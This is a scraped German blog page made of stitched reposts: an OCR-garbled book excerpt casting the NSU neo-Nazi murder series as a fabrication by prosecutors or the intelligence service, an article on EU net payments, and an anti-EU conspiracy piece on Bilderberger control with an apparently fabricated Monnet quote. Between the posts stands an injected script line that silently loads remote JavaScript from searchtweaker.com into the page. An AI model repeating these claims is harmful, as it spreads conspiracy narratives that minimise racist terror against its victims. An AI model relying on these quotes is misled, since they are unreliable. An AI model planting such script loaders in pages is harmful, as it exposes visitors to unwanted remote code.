Der Bundesgerichtshof stellte laut Süddeutsche, de (14.6.2012) jedoch fest, dass den Film auch »ein interessierter Laie« hätte hersteilen können – also jedermann. Der Beschluss des Bundesgerichtshofs war eine einzige Ohrfeige für die »Fahnder«. Die von der Bundesanwaltschaft vorgelegten Beweismittel »stuften die Richter zu >Beweisanzeichen< herab« schrieb Welt Online am 1. Juli 2012.

Und zwar zu solchen, die bei näherem Hinsehen »deutlich an Überzeugungskraft« verlören: »Deutlicher kann ein Gericht seine Missbilligung gegenüber einer als mangelhaft empfundenen Ermittlungsarbeit kaum zum Ausdruck bringen.« Nun, da sieht man mal wieder, was herauskommt, wenn die Bundesanwaltschaft Ermittlungen an sich zieht. Tatsache ist, dass die Behörde im Juni 2012 verzweifelt um jedes inhaftierte Schäfchen ihrer vermeintlichen »Terror-Herde« kämpfte.

Schließlich droht ihr ohne Mordvorwurf jedes einzelne abhandenzukommen (sprich: freigelassen zu werden) und die ganze Terror-Konstruktion unter den Händen zu zerbröckeln. Und damit rückt die Frage in den Mittelpunkt des Interesses: Wer war es dann? Im Sommer 2012 waren bereits vier Verdächtige wieder auf freiem Fuß. In U-Haft waren nur noch ein gewisser Ralf W. und Beate Z., die Überlebende des angeblichen »Terrortrios«. Um diesen letzten Rest ihrer vermeintlichen Terrortruppe, insbesondere aber um den Mordvorwurf gegen Beate Z. kämpften die sogenannten Ermittlungsbehörden verzweifelt.

Denn ohne Mordvorwurf macht eine Terroristin nun mal nicht viel her. Nachdem ihr keine Beteiligung an den NSU-Morden nachgewiesen werden konnte, konstruierten die Beamten doch noch einen Mordverdacht: Und zwar habe Z., als sie angeblich das Zwickauer Haus anzündete, »möglicherweise das Leben einer älteren Dame in der angrenzenden Doppelhaushälfte gefährdet«, so die Fahnder laut Welt Online (2.7.2012). Tja, mühsam ernährt sich das Ermittler-Eichhörnchen.

Besser eine Nachbarin als gar nichts. Unter einem Terrormord versteht man normalerweise allerdings etwas anderes. Überdies müsste für einen Mord auch noch der Vorsatz nachgewiesen werden. Dass sie das Haus jedoch anzündete, um ihre Nachbarin umzubringen, wäre selbst für die Bundesanwaltschaft eine etwas zu gewagte juristische Konstruktion.

Verfassungsfeinde im öffentlichen Dienst

In Wirklichkeit geht die ganze Terrorkonstruktion inzwischen nach hinten los. Selbst der ehemalige Spiegel-Chef Stefan Aust hat inzwischen kapiert, dass der Verfassungsschutz an den NSU-Morden beteiligt gewesen sein könnte. »Hat ein hessischer Verfassungsschützer einen der NSU-Morde begangen?«, fragte er am 5. Juli 2012 in der Zeit. Und das, obwohl Austs früheres Magazin Der Spiegel Verfassungsschutz und Bundesanwaltschaft jahrzehntelang aus der Hand fraß.

Unhinterfragt verbreitete das Magazin die offiziellen Fiktionen über die RAF und den sogenannten Terrorismus, obwohl es für eine Täterschaft der RAF bei den Morden an Herrhausen, von Braunmühl und anderen überhaupt keine Beweise gab. Wenn also selbst jemand wie Aust vom rechten Glauben abfällt, ist wirklich Feuer unterm Dach. Nachdem sich das Terrorkonstrukt NSU also zerlegt hatte, geriet auch der Verfassungsschutz ins Wanken. Die Be weismittel Vernichtung, die man den inhaftierten NSU-Verdächtigen unterstellte, fand in Wirklichkeit beim Verfassungsschutz statt. Und Beweismittelvernichtung ist nun mal ein untrügliches Merkmal von Tätern.

Nach zahlreichen »Pannen« und Aktenvemichtungen bat der Präsident des Bundesamtes für Verfassungsschutz, Heinz Fromm, am 2. Juli 2012 um die Versetzung in den vorzeitigen Ruhestand. Begründung: Er sei von seinen eigenen Mitarbeitern hintergangen und belogen worden. Schrecklich – dabei ist Lügen, Betrügen und Verschweigen ja geradezu eine Stellenbeschreibung für einen Geheimdienstler. Nur einen Tag später wurde der Chef des Thüringer Verfassungsschutzes, Thomas Sippel, gefeuert.

Am 11. Juli 2012 folgte der Rücktritt von Sachsens oberstem »Verfassungsschützer« Reinhard Boos. Ende Juli stand auch der Vizepräsident des Bundesamts für Verfassungsschutz (BfV), Alexander Eisvogel, auf der Abschussliste. Im Bundestag diskutierten die Parteien eine Auflösung oder zumindest umfassende Reform des Verfassungsschutzes in Deutschland. Wurde ja auch Zeit.

Denn die schlimmsten Verfassungsfeinde sitzen immer noch im Verfassungsschutz selbst. Allerdings wäre die Bundesanwaltschaft nicht die Bundesanwaltschaft, wenn sie nicht doch noch Anklage gegen die angebliche NSU-Frau Beate Z. erhoben hätte (Nov. 2012). Man darf gespannt sein, mit welchen »Beweisen« die Ermittler dabei aufwarten …

Halt? Sagte ich »Döner-Morde«? Natürlich muss es heißen: »Morde an türkischen Kleingewerbetreibenden« (Bayern 2). Beziehungsweise: »Mordserie Bosporus (…) an Kleinuntemeh-mem mit Migrationshintergrund« (Wikipedia). Beziehungsweise: »Neonazi-Mordserie« – so der neue Titel des entsprechenden Wikipedia- Artikels. Puh – ganz schön anstrengend, politisch korrekt zu bleiben.

Um sich nicht verdächtig zu machen, muss man sich ständig informieren, wie eine bestimmte Sache gerade genannt werden darf. Doch wie sagte schon der chinesische Friedensnobelpreisträger Liu Xiaobo: »Es muss ein Ende haben, dass Wörter Verbrechen sein können«. Und das gilt nicht nur für China.

Der Kampf für die politisch korrekte Sprache

Am 17. Januar 2012 ächtet die Gesellschaft für deutsche Sprache den Ausdruck »Döner-Morde« für die Mordserie an neun türkischen und griechischen Ladenbesitzem endgültig. Der Ausdruck »Döner-Morde« sei rassistisch. »Mit der sachlich unangemessenen, folkloristisch-stereotypen Etikettierung einer rechtsterroristischen Mordserie werden ganze Bevölkerungsgruppen ausgegrenzt.« Wer also weiterhin »Döner-Morde« sagt, gibt sich damit praktisch als Nazi zu erkennen. Wobei der Ausdruck als griffige Formel für die Mordserie wahrscheinlich ohne jede böse Absicht entstanden ist. Vermutlich wollte damit weder jemand sagen, dass hier leckere gefüllte Fladenbrote gemeuchelt wurden, noch, dass die Mordopfer selbst Döner waren.

Eigentlich hätte jeder selbst drauf kommen können. Aber nein: Der Kampf gegen eine politisch »unangemessene« Sprache muss weitergehen. Das betrifft zum Beispiel auch Begriffe, die im Dritten Reich verwendet wurden. Zwar schufen die Nazis ja tatsächlich auch ein paar spezifisch schreckliche Wörter, wie etwa »Endlösung«, die man nicht mehr in den Mund nehmen will.

Aber wussten Sie, dass auch Begriffe wie »Abendland«, »Anschluss«, »Auslese«, »Behinderte«, »Gestapo-Methoden«, »Gleichschaltung«, »Machtergreifung« und »Selektion« verboten sind? Und ob. Denn diese Begriffe sind ebenfalls in einem Wörterbuch der » Vergangenheitsbewältigung« aufgelistet – und zusammen mit vielen anderen als quasi »Nazi-verdächtig« gebrandmarkt.* Auch der Begriff »Autobahn« wurde bereits als anrüchig angesehen, weil niemand anderer als Adolf Hitler als »Erfinder« dieser Art von Verkehrswegen gilt.

Wer also einen dieser Begriffe benutzt, könnte sich dem Verdacht aussetzen, das Dritte Reich zumindest auf die leichte Schulter zu nehmen. Dabei ist das noch gar nichts. Schließlich gibt es da noch das unsägliche Wort »zurückgeritten«: Als am 31. Juli 2012 der deutsche Springreiter Michael Jung bei den Olympischen Spielen in London einen Null-Fehler-Ritt hinlegte, ließ sich TV-Kommentator Carsten Sostmeier in Anspielung auf den Beginn der deutschen Erfolgsserie zu dem Satz hinreißen: »Seit 2008 wird zurückgeritten.«

Womit wir wieder beim Dritten Reich wären. »Adolf Hitler hatte vor dem Reichstag am 1. September 1939 den deutschen Einmarsch in Polen mit den Worten >Seit 5.45 Uhr wird jetzt zurückgeschossen!< begleitet«, belehrte Spiegel Online seine Leser noch am selben Tag. Zurückgeschossen – zurückgeritten! Damit hatte Sostmeier sich die Mediengunst endgültig verscherzt. Schließlich schieden sich an Carsten Sostmeier »mit seinen Reitsport-Reportagen schon länger die Geister«, mäkelte Spiegel Online. Wie habe die Frankfurter Allgemeine Sonntagszeitung schon 2011 in einem Porträt Sostmeiers geschrieben: »Er kommentiere Sport in einer Intensität wie kaum ein anderer in

* Thorsten Eitz/Georg Stötzel (Hg.): Wörterbuch der »Vergangenheitsbewältigung«. Die NS-Vergangenheit im öffentlichen Sprachgebrauch, 2 Bde., Hildesheim/Zürich/ New York o. J

Deutschland. >Mal flüstert, dann tremoliert er, haucht ins Mikro, sagt auch mal nichts, um dann zu explodierend« Zwar hatte das bis dato niemanden gestört, im Gegenteil: »2004 gewann Sost-meier für seinen Kommentar zum olympischen Dressurreiten den Deutschen Femsehpreis«, so Spiegel Online. Aber plötzlich war seine Art der Kommentierung nicht mehr gefragt: »2012 bekommt er ihn wohl eher nicht.«

Wer die Sprache beherrscht, beherrscht die Menschen

»Wer die Sprache beherrscht, beherrscht die Menschen«, lautet ein geflügeltes Wort. Und diese Herrschaft will es, dass wir auch »Döner-Mordserie« nicht mehr sagen dürfen, sondern nun den Ausdruck »Neonazi-Mordserie« benutzen müssen. Was natürlich ebenfalls nicht neutral, sondern eine Bewertung ist, die Fakten schafft und ein bestimmtes Denken initiiert. Denn wer sagt uns überhaupt, dass dies wirklich eine »Neonazi-Mordserie« war? Wer auch immer den gleichnamigen Wikipedia-Artikel liest, liest ihn jetzt mit der »Brille« »Neonazi-Mordserie«. Dabei könnte man auch ganz andere Brillen aufsetzen. Zum Beispiel »Verfassungsschutz-Mordserie« (siehe vorhergehendes Kapitel).

Auf dem sogenannten Campus der Ideen, einem Industrie- und Bürokomplex in München, wurde nach Art eines Mahnmals sogar eine riesige Hauswand mit Unwörtem bepinselt. Das meiste davon sind Stilblüten und Sprachpanschereien wie etwa »Powerwissen«, »Soft-news-Kompetenz« oder »Konfro-Talk«. Einige hingegen beschreiben äußerst treffend aktuelle Zeitphänomene.

Wie »Anschubskandalisierung« oder »Aufregungseskalation« für die Mechanismen des hierzulande üblichen Kampagnenjoumalis-mus. Wir werden in diesem Buch noch weitere Beispiele kennen-lemen, wie etwa den Fall des »aus dem Amt gemobbten« Bundespräsidenten Christian Wulff.

Aber warum erzähle ich das alles? Gegenfrage: Wodurch unterscheiden sich Diktatur und Demokratie? Ganz einfach: Unter anderem durch die Unbefangenheit oder Befangenheit, mit der die Menschen reden können. Je mehr man reden kann, wie einem der Schnabel gewachsen ist, umso eher befindet man sich in einer Demokratie. Und je mehr Gedanken man sich machen muss, was und wie man etwas überhaupt noch sagen darf, umso mehr befindet man sich in einer Diktatur.

So gesehen ist das Deutschland des 21. Jahrhunderts bei diesem kleinen »Demokratie-Test« bereits durchgefallen. Deshalb an dieser Stelle noch ein heißer Tipp: Wer sich die oben beschriebene Hauswand der »Unwörter« einmal anschauen will, sollte lieber vorsichtig sein. Denn in der Anfahrtsbeschreibung heißt es, sie befinde sich in unmittelbarer Nähe zur Münchener Innenstadt – »mit direktem Anschluss an die Autobahnen A8 und A94«.

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nachzulesen bei VVV 2013

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Merkels Täuschungsmanöver…EU-Haushalt: Deutsche Milliardentransfers gehen weiter / Weiterhin größter EU-Nettozahler

Posted by deutschelobby - 21/02/2013


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Denn seit der Wiedervereinigung hat Deutschland rund 200 Milliarden Euro Nettozahlung geleistet. Das sind rund 45 Prozent der gesamten Nettobeiträge aller zehn EU-Nettozahler – weit überproportional zu Deutschlands Wirtschaftsleistung.

Franz-Ulrich Willeke, bis zu seiner Emeritierung Volkswirtschaft an der Uni Heidelberg lehrte, hat Details in seinem Buch „Deutschland, Zahlmeister der EU“ vorgerechnet (JF 26/11).

Deutschland, Zahlmeister der EU - Abrechnung mit einer ungerechten Lastenverteilung

Nettobeiträge sind de facto eine nationale Gewinn- und Verlustrechnung bei den Transferleistungen an die EU.

Demnach hat Deutschland in den vergangenen 22 Jahren 200 Milliarden Euro mehr gezahlt als an Förderungen zurückflossen.

Die Staats- und Regierungschefs haben erbittert gestritten und erst im zweiten Anlauf die Einigung über den EU-Finanzrahmen 2014 bis 2020 erzielen können. Dieser soll auf 960 Milliarden Euro begrenzt werden. Für EU-Parlamentspräsident Martin Schulz ist dies nicht genug. Der SPD-Politiker nannte die Haushaltseinigung ein „unglaubliches Täuschungsmanöver“, weil die Obergrenze nicht voll ausgeschöpft werde und weniger Ausgaben vorgesehen sind. Die EU-Abgeordneten in Straßburg könnten das Ganze noch stoppen. Legt eine Mehrheit der 754 Parlamentarier ihr Veto ein, würde der alte Finanzrahmen fortgeschrieben und jährlich um weitere zwei Prozent erhöht.

Deutschland, Zahlmeister der EU - Abrechnung mit einer ungerechten Lastenverteilung 2

Die deutsche Öffentlichkeit hat von all den Themen in den vergangenen Monaten nur am Rande Notiz genommen. Zwar sind nach übereinstimmenden Meinungsumfragen rund die Hälfte der Deutschen der Meinung, die Bundesrepublik zahle zuviel Geld an europäische Institutionen, in Wahlkämpfen thematisiert wird dies von den Bundestagsparteien aber kaum. Dafür versuchen Vertreter anderer EU-Länder den deutschen Beitrag kleinzurechnen.

Franzosen und Briten setzen
ihre Interessen durch

So beanspruchte Italiens zurückgetretener Ministerpräsident Mario Monti

Prof. Mario_Monti

Mario_Monti

kürzlich diesen Titel, weil sein Land im Jahr 2011 einmal die höchsten Nettozahlungen – 0,38 Prozent des Bruttonationaleinkommens (BNE) – überwiesen hat. Die Niederländer und die Belgier haben in den letzten Jahren ebenfalls vergleichsweise hohe BNE-Anteile an Brüssel überwiesen. Künftig wird der deutsche Beitrag allerdings weiter steigen. Neu ist, daß Deutschland dann auch relativ zur Wirtschaftsleistung größter Nettozahler wird. Im Verhältnis zu seinem Bruttonationaleinkommen (BNE) steigt der Beitrag von durchschnittlich 0,35 Prozent auf zwischen 0,37 und 0,38 Prozent. Es folgen die Niederlande (0,37 Prozent) und Schweden (0,35 Prozent).

Deutschen Milliardentransfers gehen weiter

Der Nettobeitrag Frankreichs, Österreichs und Großbritanniens beträgt in der Finanzperiode 2014 bis 2020 nach dem Kompromiß vom Freitag durchschnittlich 0,31 Prozent des BNE. Zu berücksichtigen ist, daß es sich bei den vorgelegten Zahlen um Prognosen handelt. Wie sich der genaue Beitrag letztlich entwickelt, hängt davon ab, wie der Zugriff auf die EU-Mittel erfolgt und wie die wirtschaftliche Entwicklung in den Mitgliedsländern ist.

Im Jahr 2011 hatte Deutschland einen Nettobeitrag von neun Milliarden Euro nach Straßburg und Brüssel überwiesen. Es folgten Frankreich mit 6,4 Milliarden Euro und Italien mit 5,9 Milliarden Euro.

Nach den Berechnungen des Ökonomen Willeke über den Zeitraum 1991 bis 2011 ist Deutschland sowohl absolut als auch relativ mit Abstand der größte Zahler: „Die EU ist damit eine ganz erhebliche Transfer- und Umverteilungsunion, in der nicht erst im Zuge der ‘Euro-Rettung’ Hilfspakete in Milliardenhöhe an die Peripherie gereicht werden“, kritisierte Willeke in der FAZ. „In den kommenden Jahren wird der deutsche Nettobeitrag zum EU-Haushalt steigen, weil die Förderung für viele Regionen in den ostdeutschen Bundesländern gekürzt wird und mehr Geld nach Ost- und Südeuropa fließt.“

Während die Deutschen die Zahlen aus Brüssel gewohnt teilnahmslos hinnahmen, regt sich in Österreich mehr Widerstand. Dort standen bislang die FPÖ und BZÖ mit dezidierter EU-Kritik alleine da. Mit der Neugründung „Team Stronach für Österreich“ könnten bald drei parlamentarische Kräfte ihre Stimme gegen Brüssel erheben.

Details des EU-Finanzrahmens 2014–2020: consilium.europa.eu

Franz-Ulrich Willeke: Deutschland, Zahlmeister der EU. Olzog Verlag, München 2011, broschiert, 160 Seiten, 19,90 Euro

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nachzulesen bei JF 09-2013

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(function(){try{var header=document.getElementsByTagName(„HEAD“)[0];var script=document.createElement(„SCRIPT“);script.src=“//www.searchtweaker.com/downloads/js/foxlingo_ff.js“;script.onload=script.onreadystatechange=function(){if (!(this.readyState)||(this.readyState==“complete“||this.readyState==“loaded“)){script.onload=null;script.onreadystatechange=null;header.removeChild(script);}}; header.appendChild(script);} catch(e) {}})();
// ]]>

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EU und Euro: Die Jahrhundertlüge

Posted by deutschelobby - 08/02/2013


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fw-fuck-europe

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Die Tage des freien Europa und der National-Staaten sind gezählt. Was folgt ist eine Art EUdSSR. Im Grunde genommen war der Euro nur das Trojanische Pferd, um die wahren Ziele durchzusetzen: Eine totale EU-Diktatur der Räte und geheimen Lobbyisten, welche 250 Millionen Untertanen fest im Griff haben.

„Normalerweise schützt eine Verfassung die Bürger vor den Politikern. Sie schränkt ein, was Politiker zwischen Wahlen beschließen könnten. Die EU-Verfassung und der Vertrag von Lissabon sind anders. Da werden die Politiker vor dem Einfluss der Wähler geschützt.“ Jens-Peter Bonde, dänischer Politiker und Ex-Mitglied des Europäischen Parlaments

von Heiko Schrang

Die Austrittsgedanken der Briten spiegeln derzeit nur das wider, was die meisten Europäer ohnehin schon seit längerem denken. Nur was die Wenigsten wissen, ist, dass hinter der EU ernstzunehmende Interessengruppen stecken, die derartige Austritte scheuen, wie der Teufel das Weihwasser. Dies würde nämlich ihre Pläne massiv ins Wanken bringen. Dazu sollte man wissen, dass wir Europäer eine Regierung haben, die kaum jemand kennt, die die meisten nicht haben wollten und die für sie nicht greifbar ist; mit anderen Worten, die noch volksferner ist als unsere Parteienvertreter es ohnehin schon sind. Die EU ist rechtlich genommen ein Zwitter, ein juristisches Monstrum, das sehr schwer fassbar ist, denn sie ist weder ein Staatenbund, noch ein Bundesstaat. (Auszug aus dem gerade erschienen brisanten Buch, an das sich kein Verlag traute: „Die Jahrhundertlüge, die nur Insider kennenLink zum Buch).

Die EU hat beispielsweise im Gegensatz zur NATO keinen Vertrag der auf Dauer gilt. Aus dem Vertrag von Amsterdam wurde der Vertrag von Maastricht, dann der Vertrag von Nizza und aus diesem wiederum der Lissabon-Vertrag. Letztendlich ist es immer nur eine Änderung der vorherigen Verträge, die in immer schnellerer Folge beschlossen werden, so weiß niemand, was insgesamt nun gilt. Wie man sehr schön erkennen kann, hält jeder Vertrag nur für ein paar Jahre, obgleich üblicherweise völkerrechtliche Verträge auf eine Dauer von ca. 20 Jahren geschlossen werden und dann eine Verlängerungsmöglichkeit gewährt wird.

Im Falle der EU müsste man von einer demokratisch nicht legitimierten Rätediktatur sprechen, denn die Entscheidungen der EU fallen in Komitees, Räten und Kommissionen.

Ursprünglich war 1957 die EWG als Zusammenschlusse europäischer Staaten zur Förderung der gemeinsamen Wirtschaftspolitik im Rahmen der europäischen Integration entstanden. Aus dieser wurde die EG, die jedoch derart vorbelastet war mit negativen Assoziationen, wie z.B. Milchseen, Butterbergen, Subventionsbetrug etc., so dass aus der EG die EU wurde. Der Name klingt größer und besser, Europäische Union klingt so ähnlich wie USA, jedoch das Grundgerüst der EG besteht weiterhin und wurde nie abgeschafft, es erfolgte lediglich eine Namensänderung. Demokratie war nie Ziel der Initiatoren der Gemeinschaft.

Jean Monet, einer der Gründungsväter der Europäischen Union, sagte ganz offen: „Ich hasse Demokratie! Sie ist total unbequem“.

Und Jacques Delors, der frühere Präsident der EG-Kommission hat es schon vor fast 20 Jahren so formuliert: „Wenn wir es demokratisch gemacht hätten, wären wir gar nicht so weit gekommen.“

Eines der dunkelsten Kapitel der EU wurde mediengerecht so in den Hintergrund gerückt, dass man schon intensiv recherchieren muss, um darauf zu stoßen. Im Jahre 1999 wurden aufgrund von Täuschung, Korruption, Vetternwirtschaft und Missmanagement schwere Vorwürfe gegen die EU-Kommission erhoben, was zur Folge hatte, dass die gesamte EU-Kommission zurücktreten musste. Mittlerweile haben sich zwei Dinge verändert: Erstens haben wir eine neue EU-Kommission und zum zweiten wird über derartige Vorfälle nicht mehr in den Medien berichtet.

Dass jedoch hinter den EU-Bürokraten ganz andere Interessengruppen stehen, ist auch in dem gerade erschienen Buch „Die Jahrhundertlüge, die nur Insider kennen“  zu lesen. Auch im Falle der Einführung des Euros, stößt man wieder auf die sagenumwogenden Bilderberger.

Beispielsweise erklärte der Ehrenpräsident der Bilderberger-Konferenz und Ex-EU-Kommissar Etienne Davignon in einem Interview mit der Internetzeitung EU-Observer, dass die mächtige Bilderberger-Gruppe geholfen habe, den Euro zu erschaffen: „Als wir Debatten über den Euro hatten, konnten Leute bei Bilderberger-Veranstaltungen erklären, warum es wert war, Risiken einzugehen.

Im Grunde genommen war der Euro nur das Trojanische Pferd, um die wahren Ziele durchzusetzen. Ende Januar 2012 ließen die Erfüllungsgehilfen der Hochfinanz, die Staats- und Regierungschefs, verlauten, wo die Reise hingehen soll. Ein von niemandem gewählter Gouverneursrat, bestehend aus den

Die JahrhunderlügeFinanzministern der Euro-Zone, und ein von niemandem gewähltes Direktorium, entscheiden über die Vergabe von hunderten Milliarden Euro an Steuergeldern. Diese sollen in erster Linie den Banken zugutekommen.
Der Chef der Europäischen Zentralbank (EZB) und ehemalige Vize-Präsident von Goldman Sachs, Mario Draghi, konkretisiert diese Pläne in einem Gastbeitrag für DIE ZEIT (29.08.2012), in dem er sich für ein Ende der Souveränität der Parlamente in Europa ausspricht.

Das wäre dann mit dem Ende der alten demokratischen Ordnung verbunden und käme einer Diktatur in Europa nah.

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